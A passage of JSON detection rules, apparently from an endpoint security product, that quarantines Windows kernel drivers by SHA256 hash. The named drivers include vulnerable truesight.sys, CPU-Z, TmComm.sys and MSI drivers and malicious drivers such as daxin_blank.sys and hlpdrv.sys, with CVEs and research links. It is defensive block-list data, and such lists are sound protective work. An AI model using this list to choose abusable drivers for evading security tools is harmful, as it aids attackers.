+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810847Z",
+  "creation_date": "2026-03-23T11:45:31.810849Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36e590d5d123f8bfd652fb6cdafcde6634d7c139a7ccf51b0ee1f5fda41b3abb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b752a679-23c1-575c-af19-d467679e6e54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145129Z",
+  "creation_date": "2026-03-23T11:45:31.145131Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1154d885751e694cff686db2d65497d113e607eef765e555076a4462b54b636",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7589b6b-f256-5e5a-8334-6db2c20276b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611218Z",
+  "creation_date": "2026-03-23T11:45:29.611220Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4e93f592a8342b0eb582d24a114348ce40ecb3c1e7b238d731b02e17d5aae7d",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7604fc2-c79f-52d0-abd9-203185cf065e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154299Z",
+  "creation_date": "2026-03-23T11:45:31.154300Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154306Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "967b7ba007fa14fb9309de521189c7fb5dc2215b958c2fd905605106278d7600",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b76e3d53-45aa-5d77-ace5-24b299698aa2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.158800Z",
+  "creation_date": "2026-03-23T11:45:31.158803Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.158809Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4479cf843b70d11708e9763ec7e49d228fbd16205955306f5400f5af1558a2ec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7724d1e-7256-5a18-a40e-fd790edf2181",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983140Z",
+  "creation_date": "2026-03-23T11:45:29.983142Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49c827cf48efb122a9d6fd87b426482b7496ccd4a2dbca31ebbf6b2b80c98530",
+  "comment": "Malicious Kernel Driver (aka daxin_blank.sys) [https://www.loldrivers.io/drivers/7e80423f-8b30-4ee2-b904-9f5421826a8c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7859ea6-fad4-503d-812f-41295bc7890a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973585Z",
+  "creation_date": "2026-03-23T11:45:29.973587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973593Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3fa6379951f08ed3cb87eeba9cf0c5f5e1d0317dcfcf003b810df9d795eeb73e",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b78b6ac2-b396-5a67-b46e-66cca85a2b3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827543Z",
+  "creation_date": "2026-03-23T11:45:30.827545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827551Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ece9cb2d25fa5c96818f0cf91d82aba6d6d2f861cc0c44e5ad32cd5b4f57fd3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b78cb50f-875e-50ed-aa71-b9d7d0936006",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972612Z",
+  "creation_date": "2026-03-23T11:45:29.972614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972619Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4eca7db365929ff7c5c785e2eab04ef8ec67ea9edcf7392f2b74eccd9449148",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b79bd2bd-4b72-5bdb-98f0-3f2f386feb63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830239Z",
+  "creation_date": "2026-03-23T11:45:31.830241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecb07e72d6937ab5cee4a7b8176351cbdefa3e0b230a5973b8fc6c2f2c02f30d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7a1d707-6781-57b0-a7e3-cc26171c62e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826578Z",
+  "creation_date": "2026-03-23T11:45:31.826580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "090b6145fa96cb218f77f8c03c0c17f0f3d579f234761781ca6d6cb2122959c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7ad808c-fe08-5b42-af00-f1ecdfb49ff9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148740Z",
+  "creation_date": "2026-03-23T11:45:31.148742Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148747Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "870646a801f2e60c1d7bc2fcc305ad8511c9eabdc10828fcdd36b111e51a6f03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7add52e-ac7c-5569-95dd-8287c619b80a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818709Z",
+  "creation_date": "2026-03-23T11:45:31.818712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02fd2579e9c55b80c7c86b9f7a9034ec8fd80824e7228840d1f29aa47a739014",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7b46e24-f9df-59d4-9deb-5a6548d2592a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833782Z",
+  "creation_date": "2026-03-23T11:45:30.833785Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833794Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d1d818a5f3f44aa2a125059f27419313e91d5e33be5060cc5b0f79e740625a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7cd6835-dfc5-509c-8f7e-00f1adccf277",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608317Z",
+  "creation_date": "2026-03-23T11:45:29.608319Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608324Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a22d5d42dd0cdae016b536799ab9c384c23b42f5662f0b115b3b85ccb9e23242",
+  "comment": "Malicious Kernel Driver (aka hlpdrv.sys) [https://news.sophos.com/en-us/2025/12/06/inside-shanya-a-packer-as-a-service-fueling-modern-attacks/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7cdf172-00a3-5086-bb4e-a74eeb58b40a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828919Z",
+  "creation_date": "2026-03-23T11:45:31.828921Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828926Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c05e168fc2806a4883713813487fc501462ee69e28ecfc76b8044b9d057f204",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7cf1804-f8a1-52bd-915b-ec0b61179d3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500038Z",
+  "creation_date": "2026-03-23T11:45:31.500041Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2c9f7ececbafd9936ad4d72f6d1cfd333f9cf7c9320e8383a6d18dfd40892ed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7dd8c09-7318-5d98-b03f-b34d4475d3bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825596Z",
+  "creation_date": "2026-03-23T11:45:30.825598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd4702f963b6c4fa7884c87e8924f9062e608216a299e5acbaa7421f2287711b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7e9da62-716d-5ce7-b165-a0999f0e2881",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823865Z",
+  "creation_date": "2026-03-23T11:45:30.823867Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823889Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "347acba74fdcbeac671521739f8a34ec0e378caf716c31f55616f9f843e4d0d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7f1376b-3360-5169-8897-7f17e8eb3f47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500091Z",
+  "creation_date": "2026-03-23T11:45:31.500094Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3114d18c1b9f7b04688b779d26c24ad199ed06ab41a9704dcdd723c1de370115",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7f2b9f8-be09-5b45-84bf-e2a256108fac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615502Z",
+  "creation_date": "2026-03-23T11:45:29.615504Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615509Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e951858d5317724c015eef07d402e8bcb33cf1a7c2ccf7a75cea63e3430d16a2",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7f561d9-eb74-5ec2-b211-6867ba400773",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489179Z",
+  "creation_date": "2026-03-23T11:45:31.489181Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47e5bc2ff855dd341963b37f07d51c701f188a5f8ce09e67dfc6fa11cfb5e01f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7fd577a-7f46-5699-b917-f93653032cc4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467326Z",
